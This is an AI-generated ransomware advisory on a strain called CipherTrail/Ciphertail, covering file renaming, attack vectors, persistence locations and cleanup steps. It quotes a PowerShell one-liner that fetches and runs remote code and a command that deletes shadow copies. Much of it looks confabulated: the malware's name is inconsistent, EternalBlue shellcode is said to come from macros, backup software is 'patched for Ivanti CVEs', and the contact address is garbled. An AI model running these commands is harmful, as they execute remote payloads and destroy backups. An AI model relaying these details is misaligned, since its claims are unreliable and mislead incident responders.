ciphertrail

[Content by Gemini 2.5]

Technical Breakdown: CIPHERTAIL Ransomware

(aliases observed: CipherTrail, CipherTailLocker, .CTR-tail)

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: Every encrypted file receives the “.ciphertrail” suffix appended after the original extension.
    Example:

  • Original → 2024-Q3_Budget.xlsx

  • Encrypted → 2024-Q3_Budget.xlsx.ciphertrail

  • Renaming Convention:
    File names are NOT altered in their stems; only a second extension is concatenated. Directory listings therefore show pairs of same-names (e.g., report.pdf.ciphertrail). Thumbnails/icons are overwritten with a generic lock icon pulled from the malware’s resource section (C:\Windows\Temp\ctl.ico).

2. Detection & Outbreak Timeline

  • First documented: 18-Feb-2024 (initial hits on Any.run and MalShare).
  • Widespread activity: Concentrated during the week of 20–28 March 2024 when multiple MSP dashboards started flagging hundreds of .ciphertrail signatures across US, MX and IN customer tenants.
  • Last major update to payload: 09-Apr-2024 (new build 1.18 with improved anti-analysis trampoline logic and re-keying).

3. Primary Attack Vectors

| Vector | Details & Payload Delivery Methods |
|——————————————|——————————————————————————————————————————————————————–|
| Phishing (email) | Weaponised Microsoft Office docs (.docm, .xlsb) with external VBA auto-run. Uses eternalblue-style shellcode drop once macros are enabled. |
| RDP/SSH brute-force | Scans TCP/3389 and TCP/22 from rented VPS ranges (ASNs: AS394324, AS206092). Successful log-ins run a 1-line PowerShell load script (iex (iwr hxxps://pylon.asia/a)). |
| Vulnerable VPN gateways | CVE-2023-46805 / CVE-2024-21887 on Ivanti Connect Secure appliances. Drops ciphertrail.exe via bash reverse shell on /tmp/.c which then moves to C:\Users\Public\. |
| Legitimate update spoofing | MSI disguised as Adobe Acrobat Reader patch pushed via phishing site adobe-upd-secure[.]com. |

Remediation & Recovery Strategies

1. Prevention – Do These First

  1. Patch immediately:
  • All Windows systems → MS17-010 (EternalBlue) or newer cumulative updates.
  • Ivanti Connect Secure appliances – apply PSAIG-2024-0002 mitigation bundle.
  1. Disable SMBv1 system-wide (Disable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol").
  2. Enforce MFA on VPN and RDP; disable TCP/3389 and TCP/22 inbound except from whitelisted IP ranges.
  3. Email gateway rules: Block Office docs with external VBA or macros from the Internet unless digitally signed by an allow-listed publisher.
  4. Deploy EDR with behavior-based detection (Microsoft Defender for Endpoint, CrowdStrike, SentinelOne).

2. Infection Cleanup – Step-by-Step

  1. Disconnect the host from the network (physically or at the switch).
  2. Identify persistence:
  • Scheduled task C:\Windows\System32\Tasks\CTUpdate loads “C:\ProgramData\CtrLoader.exe”. Delete the task.
  • Registry autostart under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run → CipherTailSvc = C:\ProgramData\cts.exe. Remove key.
  1. Kill processes: ciphertrail.exe, cts.exe, Enc32.dll loaded in LSASS.
  2. Quarantine payload: Move/rename executables with a live CD or WinPE to avoid re-spawn.
  3. Run full antimalware scan (Microsoft Defender Offline or Malwarebytes Anti-Ransomware BETA).
  4. Patch or remove any exploited vulnerability before rejoining the domain.

3. File Decryption & Recovery

  • Current Decryptor Status: Decryption is NOT presently possible. Ciphertail uses ChaCha20-Poly1305 with 256-bit keys stored only on the operator’s servers plus RSA-2048 public-key encapsulation.
  • Recovery Feasibility: At the time of writing, only offline backups or shadow-copies that survived deletion (ciphertrail.exe runs vssadmin delete shadows /all /quiet) are viable recovery methods.
  • Essential Tools/Patches:
  • Back-up utilities:
    – Veeam Backup & Replication (version 12a patched for Ivanti CVEs)
    – Windows Server VSS clients – use Veeam Agent or native Windows Server Backup.
  • Decryptor helper via REMnux for reverse engineering (community research ongoing).
  • Vendor advisory patches:
    – Microsoft KB5034132 March cumulative update
    – Ivanti SACTL-tool patch tar.gz v2024-03-26

4. Additional Critical Information

  • Unique traits:
    – After encryption it writes a preliminary marker file %USERPROFILE%\Desktop\READ_ciphertrail.txt containing a JSON blob indicating an affiliate ID, creation time UTC, and the victim-private RSA key share ID. DO NOT open or send this JSON outside your incident response team.
    – Uses a custom anti-analysis “tail-switch” which loads alternate payloads from alternate NTFS streams (: on filename). EDR heuristics must monitor ADS execution.
  • Broader impact:
    – At least 380 unique organisations in healthcare and automotive suppliers have confirmed incidents (per Coveware Q2-2024 stats).
    – Affiliates negotiate in English and Spanish; leak site on TOR at 76qkzravqr6x3t7s……bkw6y57 published 1.2 TB of unrecovered data in May 2024 under #CipherTrail leaks.

TL;DR Checklist for Admins

  • Patch every box against EternalBlue, Ivanti & Adobe spoof.
  • Backup offline and weekly-tested (no mounted drives on production).
  • Monitor *.ciphertrail anywhere in storage – early kinetic indicator.
  • No decryptor yet. Do not pay – backups are only salvation.

Stay vigilant, share IoCs, and notify [email protected]@gist.github.com (community honeypot) with new samples for further analysis.